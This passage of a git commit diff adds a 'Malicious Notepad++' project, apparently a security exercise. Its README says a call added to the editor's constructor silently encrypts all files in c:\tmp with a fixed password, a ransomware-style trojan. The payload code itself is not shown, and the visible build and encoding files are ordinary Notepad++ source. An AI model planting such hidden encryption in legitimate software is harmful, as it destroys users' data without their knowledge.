Notepad++/src/tools/ChangeIcon/ChangeIcon.vcproj create mode 100644 Malicious Notepad++/src/tools/IExplorerShell/makefile create mode 100644 Malicious Notepad++/src/tools/IExplorerShell/nppIExplorerShell.cpp create mode 100644 Malicious Notepad++/src/tools/NppShell/codeblocks/NppShell.cbp create mode 100644 Malicious Notepad++/src/tools/NppShell/project/NppShell.sln create mode 100644 Malicious Notepad++/src/tools/NppShell/project/NppShell.vcproj create mode 100644 Malicious Notepad++/src/tools/NppShell/src/Bitmap.cpp create mode 100644 Malicious Notepad++/src/tools/NppShell/src/Bitmap.h create mode 100644 Malicious Notepad++/src/tools/NppShell/src/NppShell.cpp create mode 100644 Malicious Notepad++/src/tools/NppShell/src/NppShell.h create mode 100644 Malicious Notepad++/src/tools/NppShell/src/NppShell.rc create mode 100644 Malicious Notepad++/src/tools/NppShell/src/bitmap/npp.bmp create mode 100644 Malicious Notepad++/src/tools/NppShell/src/export.def create mode 100644 Malicious Notepad++/src/tools/NppShell/src/icon/nppNewIcon.ico create mode 100644 Malicious Notepad++/src/tools/NppShell/src/icon/npp_0.ico create mode 100644 Malicious Notepad++/src/tools/NppShell/src/icon/npp_1.ico create mode 100644 Malicious Notepad++/src/tools/NppShell/src/resource.h create mode 100644 Malicious Notepad++/src/tools/xmlApiSorter/sorter.cpp create mode 100644 Malicious Notepad++/src/tools/xmlApiSorter/sorter.vcproj create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/configModel.xml create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/langsModel.xml create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/makefile create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/stylers_remove.xml create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/stylesModel.xml create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.cpp create mode 100644 Malicious Notepad++/src/tools/xmlUpdater/xmlUpdater.vcproj create mode 100644 Malicious Notepad++/src/uchardet/Big5Freq.tab create mode 100644 Malicious Notepad++/src/uchardet/CharDistribution.cpp create mode 100644 Malicious Notepad++/src/uchardet/CharDistribution.h create mode 100644 Malicious Notepad++/src/uchardet/EUCKRFreq.tab create mode 100644 Malicious Notepad++/src/uchardet/EUCTWFreq.tab create mode 100644 Malicious Notepad++/src/uchardet/GB2312Freq.tab create mode 100644 Malicious Notepad++/src/uchardet/JISFreq.tab create mode 100644 Malicious Notepad++/src/uchardet/JpCntx.cpp create mode 100644 Malicious Notepad++/src/uchardet/JpCntx.h create mode 100644 Malicious Notepad++/src/uchardet/LangBulgarianModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/LangCyrillicModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/LangGreekModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/LangHebrewModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/LangHungarianModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/LangThaiModel.cpp create mode 100644 Malicious Notepad++/src/uchardet/README.TXT create mode 100644 Malicious Notepad++/src/uchardet/nsBig5Prober.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsBig5Prober.h create mode 100644 Malicious Notepad++/src/uchardet/nsCharSetProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsCharSetProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsCodingStateMachine.h create mode 100644 Malicious Notepad++/src/uchardet/nsEUCJPProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsEUCJPProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsEUCKRProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsEUCKRProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsEUCTWProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsEUCTWProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsEscCharsetProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsEscCharsetProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsEscSM.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsGB2312Prober.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsGB2312Prober.h create mode 100644 Malicious Notepad++/src/uchardet/nsHebrewProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsHebrewProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsLatin1Prober.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsLatin1Prober.h create mode 100644 Malicious Notepad++/src/uchardet/nsMBCSGroupProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsMBCSGroupProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsMBCSSM.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsPkgInt.h create mode 100644 Malicious Notepad++/src/uchardet/nsSBCSGroupProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsSBCSGroupProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsSBCharSetProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsSBCharSetProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsSJISProber.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsSJISProber.h create mode 100644 Malicious Notepad++/src/uchardet/nsUTF8Prober.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsUTF8Prober.h create mode 100644 Malicious Notepad++/src/uchardet/nsUniversalDetector.cpp create mode 100644 Malicious Notepad++/src/uchardet/nsUniversalDetector.h create mode 100644 Malicious Notepad++/src/uchardet/nscore.h create mode 100644 Malicious Notepad++/src/uchardet/prmem.h create mode 100644 Malicious Notepad++/src/uchardet/uchardet.cpp create mode 100644 Malicious Notepad++/src/uchardet/uchardet.h create mode 100644 Malicious Notepad++/src/userDefineLang.xml create mode 100644 Malicious Notepad++/src/winmain.cpp diff --git a/Malicious Notepad++/README.md b/Malicious Notepad++/README.md new file mode 100644 index 0000000..d33f965 --- /dev/null +++ b/Malicious Notepad++/README.md @@ -0,0 +1,6 @@ +# Malicious notepad++ + +Our modification to the notepad++ includes adding a call to the function +`ListDirectoryContents` in `Notepad_plus::Notepad_plus`. +`ListDirecotryContents` will iterate over all the files in c:\tmp and encrypts +them using a constant password. diff --git a/Malicious Notepad++/src/CMakeLists.txt b/Malicious Notepad++/src/CMakeLists.txt new file mode 100644 index 0000000..b679c78 --- /dev/null +++ b/Malicious Notepad++/src/CMakeLists.txt @@ -0,0 +1,363 @@ +# @file:/CMakeLists.txt + +# TODO +# - Move defs XX_INCLUDE_DIR, XX_LIBRARIES, XX_LIBRARY_DIRS to the subdirectories +# scripts. I could not find a way to export variables defined in a subscript +# so as a workaround, I define the variables myself in the top script. This is +# not optimal. +# + +cmake_minimum_required(VERSION 3.4) + +PROJECT(Notepad++) + +SET(projIncludDir ../../scintilla/include/ + ./ + ./WinControls/AboutDlg/ + ./WinControls/ + ./WinControls/ImageListSet/ + ./WinControls/OpenSaveFileDialog/ + ./WinControls/SplitterContainer/ + ./WinControls/StaticDialog/ + ./WinControls/TabBar/ + ./WinControls/ToolBar/ + ./MISC/Process/ + ./ScitillaComponent/ + ./MISC/ + ./MISC/SysMsg/ + ./WinControls/StatusBar/ + ./WinControls/StaticDialog/RunDlg/ + ./tinyxml/ + ./WinControls/ColourPicker/ + ./Win32Explr/ + ./MISC/RegExt/ + ./WinControls/TrayIcon/ + ./WinControls/shortcut/ + ./WinControls/Grid/ + ./WinControls/ContextMenu/ + ./MISC/PluginsManager/ + ./WinControls/Preference/ + ./WinControls/WindowsDlg/ + ./WinControls/TaskList/ + ./WinControls/DockingWnd/ + ./WinControls/ToolTip/ + ./MISC/Exception/ + ./MISC/Common/ + ./tinyxml/tinyXmlA/ + ./WinControls/AnsiCharPanel/ + ./WinControls/ClipboardHistory/ + ./WinControls/FindCharsInRange/ + ./WinControls/VerticalFileSwitcher/ + ./WinControls/ProjectPanel/ + ./WinControls/DocumentMap/ + ./WinControls/FunctionList/ + ./uchardet/ + ./WinControls/FileBrowser/ + ./WinControls/ReadDirectoryChanges/) + + +SET(src_files + ./MISC/Common/LongRunningOperation.cpp + ./MISC/Common/mutex.cpp + ./MISC/Process/Processus.cpp + ./WinControls/AboutDlg/AboutDlg.cpp + ./WinControls/AnsiCharPanel/ansiCharPanel.cpp + ./ScitillaComponent/AutoCompletion.cpp + ./WinControls/FileBrowser/fileBrowser.cpp + ./WinControls/Grid/BabyGrid.cpp + ./WinControls/Grid/BabyGridWrapper.cpp + ./ScitillaComponent/Buffer.cpp + ./uchardet/CharDistribution.cpp + ./WinControls/ClipboardHistory/clipboardHistoryPanel.cpp + ./WinControls/ColourPicker/ColourPicker.cpp + ./WinControls/ColourPicker/ColourPopup.cpp + ./ScitillaComponent/columnEditor.cpp + ./MISC/Common/Common.cpp + ./WinControls/ContextMenu/ContextMenu.cpp + ./WinControls/ReadDirectoryChanges/ReadDirectoryChanges.cpp + ./WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.cpp + ./WinControls/TabBar/ControlsTab.cpp + ./WinControls/DockingWnd/DockingCont.cpp + ./WinControls/DockingWnd/DockingManager.cpp + ./WinControls/DockingWnd/DockingSplitter.cpp + ./ScitillaComponent/DocTabView.cpp + ./WinControls/DocumentMap/documentMap.cpp + ./EncodingMapper.cpp + ./WinControls/OpenSaveFileDialog/FileDialog.cpp + ./WinControls/FindCharsInRange/FindCharsInRange.cpp + ./ScitillaComponent/FindReplaceDlg.cpp + ./ScitillaComponent/FunctionCallTip.cpp + ./WinControls/FunctionList/functionListPanel.cpp + ./WinControls/FunctionList/functionParser.cpp + ./ScitillaComponent/GoToLineDlg.cpp + ./WinControls/DockingWnd/Gripper.cpp + ./MISC/PluginsManager/IDAllocator.cpp + ./WinControls/ImageListSet/ImageListSet.cpp + ./uchardet/JpCntx.cpp + ./uchardet/LangBulgarianModel.cpp + ./uchardet/LangCyrillicModel.cpp + ./uchardet/LangGreekModel.cpp + ./uchardet/LangHebrewModel.cpp + ./uchardet/LangHungarianModel.cpp + ./uchardet/LangThaiModel.cpp + ./lastRecentFileList.cpp + ./lesDlgs.cpp + ./WinControls/AnsiCharPanel/ListView.cpp + ./localization.cpp + ./MISC/Exception/MiniDumper.cpp + ./Notepad_plus.cpp + ./Notepad_plus_Window.cpp + ./NppBigSwitch.cpp + ./NppCommands.cpp + ./NppIO.cpp + ./NppNotification.cpp + ./uchardet/nsBig5Prober.cpp + ./uchardet/nsCharSetProber.cpp + ./uchardet/nsEscCharsetProber.cpp + ./uchardet/nsEscSM.cpp + ./uchardet/nsEUCJPProber.cpp + ./uchardet/nsEUCKRProber.cpp + ./uchardet/nsEUCTWProber.cpp + ./uchardet/nsGB2312Prober.cpp + ./uchardet/nsHebrewProber.cpp + ./uchardet/nsLatin1Prober.cpp + ./uchardet/nsMBCSGroupProber.cpp + ./uchardet/nsMBCSSM.cpp + ./uchardet/nsSBCharSetProber.cpp + ./uchardet/nsSBCSGroupProber.cpp + ./uchardet/nsSJISProber.cpp + ./uchardet/nsUniversalDetector.cpp + ./uchardet/nsUTF8Prober.cpp + ./Parameters.cpp + ./Misc/PluginsManager/PluginsManager.cpp + ./WinControls/Preference/preferenceDlg.cpp + ./ScitillaComponent/Printer.cpp + ./WinControls/ProjectPanel/ProjectPanel.cpp + ./MISC/RegExt/regExtDlg.cpp + ./WinControls/StaticDialog/RunDlg/RunDlg.cpp + ./WinControls/shortcut/RunMacroDlg.cpp + ./ScitillaComponent/ScintillaCtrls.cpp + ./ScitillaComponent/ScintillaEditView.cpp + ./WinControls/shortcut/shortcut.cpp + ./WinControls/Grid/ShortcutMapper.cpp + ./WinControls/WindowsDlg/SizeableDlg.cpp + ./ScitillaComponent/SmartHighlighter.cpp + ./WinControls/SplitterContainer/Splitter.cpp + ./WinControls/SplitterContainer/SplitterContainer.cpp + ./WinControls/StaticDialog/StaticDialog.cpp + ./WinControls/StatusBar/StatusBar.cpp + ./WinControls/TabBar/TabBar.cpp + ./WinControls/TaskList/TaskList.cpp + ./WinControls/TaskList/TaskListDlg.cpp + ./TinyXml/tinystr.cpp + ./TinyXml/tinyXmlA/tinystrA.cpp + ./TinyXml/tinyxml.cpp + ./TinyXml/tinyXmlA/tinyxmlA.cpp + ./TinyXml/tinyxmlerror.cpp + ./TinyXml/tinyXmlA/tinyxmlerrorA.cpp + ./TinyXml/tinyxmlparser.cpp + ./TinyXml/tinyXmlA/tinyxmlparserA.cpp + ./WinControls/ToolBar/ToolBar.cpp + ./WinControls/ToolTip/ToolTip.cpp + ./WinControls/TrayIcon/trayIconControler.cpp + ./WinControls/ProjectPanel/TreeView.cpp + ./uchardet/uchardet.cpp + ./UniConversion.cpp + ./WinControls/AboutDlg/URLCtrl.cpp + ./ScitillaComponent/UserDefineDialog.cpp + ./Utf8_16.cpp + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcher.cpp + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.cpp + ./MISC/Exception/Win32Exception.cpp + ./WinControls/WindowsDlg/WindowsDlg.cpp + ./winmain.cpp + ./WinControls/WindowsDlg/WinMgr.cpp + ./WinControls/WindowsDlg/WinRect.cpp + ./WinControls/ColourPicker/WordStyleDlg.cpp + ./ScitillaComponent/xmlMatchedTagsHighlighter.cpp + ./dpiAware.manifest + ./notepad++.exe.manifest +) + +SET(include_files + ./MISC/Common/LongRunningOperation.h + ./MISC/Common/mutex.h + ./MISC/Common/mutex.hxx + ./MISC/Process/Processus.h + ./WinControls/AboutDlg/AboutDlg.h + ./WinControls/AnsiCharPanel/ansiCharPanel.h + ./ScitillaComponent/AutoCompletion.h + ./WinControls/FileBrowser/fileBrowser.h + ./WinControls/FileBrowser/fileBrowser_rc.h + ./WinControls/Grid/BabyGrid.h + ./WinControls/Grid/BabyGridWrapper.h + ./ScitillaComponent/Buffer.h + ./uchardet/CharDistribution.h + ./WinControls/ClipboardHistory/clipboardHistoryPanel.h + ./WinControls/ClipboardHistory/clipboardHistoryPanel_rc.h + ./ScitillaComponent/colors.h + ./WinControls/ColourPicker/ColourPicker.h + ./WinControls/ColourPicker/ColourPopup.h + ./ScitillaComponent/columnEditor.h + ./MISC/Common/Common.h + ./WinControls/ContextMenu/ContextMenu.h + ./WinControls/ReadDirectoryChanges/ReadDirectoryChanges.h + ./WinControls/ReadDirectoryChanges/ReadDirectoryChangesPrivate.h + ./WinControls/ReadDirectoryChanges/ThreadSafeQueue.h + ./WinControls/TabBar/ControlsTab.h + ./WinControls/DockingWnd/Docking.h + ./WinControls/DockingWnd/DockingCont.h + ./WinControls/DockingWnd/DockingDlgInterface.h + ./WinControls/DockingWnd/DockingManager.h + ./WinControls/DockingWnd/dockingResource.h + ./WinControls/DockingWnd/DockingSplitter.h + ./ScitillaComponent/DocTabView.h + ./WinControls/DocumentMap/documentMap.h + ./EncodingMapper.h + ./WinControls/OpenSaveFileDialog/FileDialog.h + ./MISC/FileNameStringSplitter.h + ./WinControls/FindCharsInRange/FindCharsInRange.h + ./ScitillaComponent/FindReplaceDlg.h + ./ScitillaComponent/FunctionCallTip.h + ./WinControls/FunctionList/functionListPanel.h + ./WinControls/FunctionList/functionListPanel_rc.h + ./WinControls/FunctionList/functionParser.h + ./ScitillaComponent/GoToLineDlg.h + ./WinControls/DockingWnd/Gripper.h + ./MISC/PluginsManager/IDAllocator.h + ./WinControls/ImageListSet/ImageListSet.h + ./uchardet/JpCntx.h + ./lastRecentFileList.h + ./lesDlgs.h + ./WinControls/AnsiCharPanel/ListView.h + ./localization.h + ./localizationstring.h + ./menuCmdID.h + ./MISC/Exception/MiniDumper.h + ./Notepad_plus.h + ./MISC/PluginsManager/Notepad_plus_msgs.h + ./Notepad_plus_Window.h + ./uchardet/nsBig5Prober.h + ./uchardet/nsCharSetProber.h + ./uchardet/nsCodingStateMachine.h + ./uchardet/nscore.h + ./uchardet/nsEscCharsetProber.h + ./uchardet/nsEUCJPProber.h + ./uchardet/nsEUCKRProber.h + ./uchardet/nsEUCTWProber.h + ./uchardet/nsGB2312Prober.h + ./uchardet/nsHebrewProber.h + ./uchardet/nsLatin1Prober.h + ./uchardet/nsMBCSGroupProber.h + ./uchardet/nsPkgInt.h + ./uchardet/nsSBCharSetProber.h + ./uchardet/nsSBCSGroupProber.h + ./uchardet/nsSJISProber.h + ./uchardet/nsUniversalDetector.h + ./uchardet/nsUTF8Prober.h + ./Parameters.h + ./MISC/PluginsManager/PluginInterface.h + ./MISC/PluginsManager/PluginsManager.h + ./WinControls/Preference/preferenceDlg.h + ./ScitillaComponent/Printer.h + ./uchardet/prmem.h + ./WinControls/ProjectPanel/ProjectPanel.h + ./WinControls/ProjectPanel/ProjectPanel_rc.h + ./MISC/RegExt/regExtDlg.h + ./MISC/RegExt/regExtDlgRc.h + ./resource.h + ./WinControls/StaticDialog/RunDlg/RunDlg.h + ./WinControls/shortcut/RunMacroDlg.h + ./WinControls/shortcut/RunMacroDlg_rc.h + ./ScitillaComponent/ScintillaCtrls.h + ./ScitillaComponent/ScintillaEditView.h + ./WinControls/shortcut/shortcut.h + ./WinControls/Grid/ShortcutMapper.h + ./WinControls/Grid/ShortcutMapper_rc.h + ./WinControls/WindowsDlg/SizeableDlg.h + ./ScitillaComponent/SmartHighlighter.h + ./WinControls/SplitterContainer/Splitter.h + ./WinControls/SplitterContainer/SplitterContainer.h + ./WinControls/StaticDialog/StaticDialog.h + ./WinControls/StatusBar/StatusBar.h + ./WinControls/TabBar/TabBar.h + ./WinControls/TaskList/TaskList.h + ./WinControls/TaskList/TaskListDlg.h + ./WinControls/TaskList/TaskListDlg_rc.h + ./TinyXml/tinystr.h + ./TinyXml/tinyXmlA/tinystrA.h + ./TinyXml/tinyxml.h + ./TinyXml/tinyXmlA/tinyxmlA.h + ./WinControls/ToolBar/ToolBar.h + ./WinControls/ToolTip/ToolTip.h + ./WinControls/TrayIcon/trayIconControler.h + ./WinControls/ProjectPanel/TreeView.h + ./uchardet/uchardet.h + ./UniConversion.h + ./WinControls/AboutDlg/URLCtrl.h + ./ScitillaComponent/UserDefineDialog.h + ./ScitillaComponent/UserDefineLangReference.h + ./ScitillaComponent/UserDefineResource.h + ./Utf8_16.h + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcher.h + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcher_rc.h + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcherListView.h + ./MISC/Exception/Win32Exception.h + ./WinControls/Window.h + ./WinControls/WindowsDlg/WindowsDlg.h + ./WinControls/WindowsDlg/WindowsDlgRc.h + ./WinControls/WindowsDlg/WinMgr.h + ./WinControls/ColourPicker/WordStyleDlg.h + ./ScitillaComponent/xmlMatchedTagsHighlighter.h + ./rgba_icons.h +) + + +SET(rcFiles + ./WinControls/AnsiCharPanel/ansiCharPanel.rc + ./WinControls/ClipboardHistory/clipboardHistoryPanel.rc + ./WinControls/ColourPicker/ColourPopup.rc + ./ScitillaComponent/columnEditor.rc + ./WinControls/DockingWnd/DockingGUIWidget.rc + ./WinControls/DocumentMap/documentMap.rc + ./WinControls/FileBrowser/fileBrowser.rc + ./WinControls/FindCharsInRange/findCharsInRange.rc + ./ScitillaComponent/FindReplaceDlg.rc + ./WinControls/FunctionList/functionListPanel.rc + ./Notepad_plus.rc + ./WinControls/Preference/preference.rc + ./WinControls/ProjectPanel/ProjectPanel.rc + ./MISC/RegExt/regExtDlg.rc + ./WinControls/StaticDialog/RunDlg/RunDlg.rc + ./WinControls/shortcut/RunMacroDlg.rc + ./WinControls/shortcut/shortcut.rc + ./WinControls/Grid/ShortcutMapper.rc + ./WinControls/TaskList/TaskListDlg.rc + ./ScitillaComponent/UserDefineDialog.rc + ./WinControls/VerticalFileSwitcher/VerticalFileSwitcher.rc + ./WinControls/WindowsDlg/WindowsDlg.rc + ./WinControls/ColourPicker/WordStyleDlg.rc +) + +IF (WIN32) + SET(option WIN32) + SET(win32_LIBRARIES comctl32 shlwapi dbghelp) +if ( MSVC ) + #do not use for mingw builds + SET(CMAKE_CXX_FLAGS "/EHa /MP /W4") + SET(defs -DUNICODE -D_UNICODE -D_WIN32_WINNT=0x501 -D_USE_64BIT_TIME_T -DTIXML_USE_STL -DTIXMLA_USE_STL -D_CRT_NONSTDC_NO_DEPRECATE -D_CRT_SECURE_NO_WARNINGS -D_CRT_NON_CONFORMING_SWPRINTFS ) +else ( MSVC ) + # For possible MinGW compilation + SET(CMAKE_CXX_FLAGS "-include../gcc/include/various.h -std=c++14 -fpermissive") + SET(defs -DUNICODE -D_UNICODE -D_USE_64BIT_TIME_T -DTIXML_USE_STL -DTIXMLA_USE_STL ) +endif ( MSVC ) +ENDIF (WIN32) + +ADD_DEFINITIONS(${defs}) + +INCLUDE_DIRECTORIES(${projIncludDir}) + +ADD_EXECUTABLE(notepad++ ${option} ${src_files} ${include_files} ${rcFiles}) + +TARGET_LINK_LIBRARIES (notepad++ ${win32_LIBRARIES}) + diff --git a/Malicious Notepad++/src/EncodingMapper.cpp b/Malicious Notepad++/src/EncodingMapper.cpp new file mode 100644 index 0000000..15fd1a0 --- /dev/null +++ b/Malicious Notepad++/src/EncodingMapper.cpp @@ -0,0 +1,156 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "EncodingMapper.h" +#include "Scintilla.h" + +// Don't change the order +static EncodingUnit encodings[] = { + {1250, "windows-1250"}, //IDM_FORMAT_WIN_1250 + {1251, "windows-1251"}, //IDM_FORMAT_WIN_1251 + {1252, "windows-1252"}, //IDM_FORMAT_WIN_1252 + {1253, "windows-1253"}, //IDM_FORMAT_WIN_1253 + {1254, "windows-1254"}, //IDM_FORMAT_WIN_1254 + {1255, "windows-1255"}, //IDM_FORMAT_WIN_1255 + {1256, "windows-1256"}, //IDM_FORMAT_WIN_1256 + {1257, "windows-1257"}, //IDM_FORMAT_WIN_1257 + {1258, "windows-1258"}, //IDM_FORMAT_WIN_1258 + {28591, "latin1 ISO_8859-1 ISO-8859-1 CP819 IBM819 csISOLatin1 iso-ir-100 l1"}, //IDM_FORMAT_ISO_8859_1 + {28592, "latin2 ISO_8859-2 ISO-8859-2 csISOLatin2 iso-ir-101 l2"}, //IDM_FORMAT_ISO_8859_2 + {28593, "latin3 ISO_8859-3 ISO-8859-3 csISOLatin3 iso-ir-109 l3"}, //IDM_FORMAT_ISO_8859_3 + {28594, "latin4 ISO_8859-4 ISO-8859-4 csISOLatin4 iso-ir-110 l4"}, //IDM_FORMAT_ISO_8859_4 + {28595, "cyrillic ISO_8859-5 ISO-8859-5 csISOLatinCyrillic iso-ir-144"}, //IDM_FORMAT_ISO_8859_5 + {28596, "arabic ISO_8859-6 ISO-8859-6 csISOLatinArabic iso-ir-127 ASMO-708 ECMA-114"}, //IDM_FORMAT_ISO_8859_6 + {28597, "greek ISO_8859-7 ISO-8859-7 csISOLatinGreek greek8 iso-ir-126 ELOT_928 ECMA-118"}, //IDM_FORMAT_ISO_8859_7 + {28598, "hebrew ISO_8859-8 ISO-8859-8 csISOLatinHebrew iso-ir-138"}, //IDM_FORMAT_ISO_8859_8 + {28599, "latin5 ISO_8859-9 ISO-8859-9 csISOLatin5 iso-ir-148 l5"}, //IDM_FORMAT_ISO_8859_9 + {28600, ""/*"latin6 ISO_8859-10 ISO-8859-10 csISOLatin6 iso-ir-157 l6"*/}, //IDM_FORMAT_ISO_8859_10 + {28601, ""/*"ISO_8859-11 ISO-8859-11"*/}, //IDM_FORMAT_ISO_8859_11 + {28603, "ISO_8859-13 ISO-8859-13"}, //IDM_FORMAT_ISO_8859_13 + {28604, "iso-celtic latin8 ISO_8859-14 ISO-8859-14 18 iso-ir-199"}, //IDM_FORMAT_ISO_8859_14 + {28605, "Latin-9 ISO_8859-15 ISO-8859-15"}, //IDM_FORMAT_ISO_8859_15 + {28606, ""/*"latin10 ISO_8859-16 ISO-8859-16 110 iso-ir-226"*/}, //IDM_FORMAT_ISO_8859_16 + {437, "IBM437 cp437 437 csPC8CodePage437"}, //IDM_FORMAT_DOS_437 + {720, "IBM720 cp720 oem720 720"}, //IDM_FORMAT_DOS_720 + {737, "IBM737 cp737 oem737 737"}, //IDM_FORMAT_DOS_737 + {775, "IBM775 cp775 oem775 775"}, //IDM_FORMAT_DOS_775 + {850, "IBM850 cp850 oem850 850"}, //IDM_FORMAT_DOS_850 + {852, "IBM852 cp852 oem852 852"}, //IDM_FORMAT_DOS_852 + {855, "IBM855 cp855 oem855 855 csIBM855"}, //IDM_FORMAT_DOS_855 + {857, "IBM857 cp857 oem857 857"}, //IDM_FORMAT_DOS_857 + {858, "IBM858 cp858 oem858 858"}, //IDM_FORMAT_DOS_858 + {860, "IBM860 cp860 oem860 860"}, //IDM_FORMAT_DOS_860 + {861, "IBM861 cp861 oem861 861"}, //IDM_FORMAT_DOS_861 + {862, "IBM862 cp862 oem862 862"}, //IDM_FORMAT_DOS_862 + {863, "IBM863 cp863 oem863 863"}, //IDM_FORMAT_DOS_863 + {865, "IBM865 cp865 oem865 865"}, //IDM_FORMAT_DOS_865 + {866, "IBM866 cp866 oem866 866"}, //IDM_FORMAT_DOS_866 + {869, "IBM869 cp869 oem869 869"}, //IDM_FORMAT_DOS_869 + {950, "big5 csBig5"}, //IDM_FORMAT_BIG5 + {936, "gb2312 gbk csGB2312 gb18030"}, //IDM_FORMAT_GB2312 + {932, "Shift_JIS MS_Kanji csShiftJIS csWindows31J"}, //IDM_FORMAT_SHIFT_JIS + {949, "windows-949 korean"}, //IDM_FORMAT_KOREAN_WIN + {51949, "euc-kr csEUCKR"}, //IDM_FORMAT_EUC_KR + {874, "tis-620"}, //IDM_FORMAT_TIS_620 + {10007, "x-mac-cyrillic xmaccyrillic"}, //IDM_FORMAT_MAC_CYRILLIC + {21866, "koi8_u"}, //IDM_FORMAT_KOI8U_CYRILLIC + {20866, "koi8_r csKOI8R"} //IDM_FORMAT_KOI8R_CYRILLIC +}; + +EncodingMapper * EncodingMapper::_pSelf = new EncodingMapper; + +bool isInListA(const char *token, const char *list) { + if ((!token) || (!list)) + return false; + char word[64]; + size_t i = 0; + size_t j = 0; + for (size_t len = strlen(list); i <= len; ++i) + { + if ((list[i] == ' ')||(list[i] == '\0')) + { + if (j != 0) + { + word[j] = '\0'; + j = 0; + + if (!stricmp(token, word)) + return true; + } + } + else + { + word[j] = list[i]; + ++j; + } + } + return false; +}; + +int EncodingMapper::getEncodingFromIndex(int index) const +{ + size_t nbItem = sizeof(encodings)/sizeof(EncodingUnit); + if (index < 0 || (size_t)index >= nbItem) + return -1; + return encodings[index]._codePage; +} + +int EncodingMapper::getIndexFromEncoding(int encoding) const +{ + bool found = false; + int nbItem = sizeof(encodings)/sizeof(EncodingUnit); + int i = 0; + for ( ; i < nbItem; ++i) + { + if (encodings[i]._codePage == encoding) + { + found = true; + break; + } + } + return found ? i : -1; +} + +int EncodingMapper::getEncodingFromString(const char *encodingAlias) const +{ + if (isInListA(encodingAlias, "utf-8 utf8")) + return SC_CP_UTF8; + + size_t nbItem = sizeof(encodings)/sizeof(EncodingUnit); + int enc = -1; + for (size_t i = 0 ; i < nbItem ; ++i) + { + if (isInListA(encodingAlias, encodings[i]._aliasList)) + { + enc = encodings[i]._codePage; + break; + } + } + return enc; +} \ No newline at end of file diff --git a/Malicious Notepad++/src/EncodingMapper.h b/Malicious Notepad++/src/EncodingMapper.h new file mode 100644 index 0000000..804ad17 --- /dev/null +++ b/Malicious Notepad++/src/EncodingMapper.h @@ -0,0 +1,51 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef ENCODINGMAPPER_H +#define ENCODINGMAPPER_H + +struct EncodingUnit { + int _codePage; + char *_aliasList; +}; + +class EncodingMapper { +public: + static EncodingMapper * getInstance() {return _pSelf;}; + int getEncodingFromIndex(int index) const; + int getIndexFromEncoding(int encoding) const; + int getEncodingFromString(const char * encodingAlias) const; + +private: + EncodingMapper(){}; + ~EncodingMapper(){}; + static EncodingMapper *_pSelf; + EncodingUnit *_encodings; +}; + +#endif // ENCODINGMAPPER_H diff --git a/Malicious Notepad++/src/MISC/Common/Common.cpp 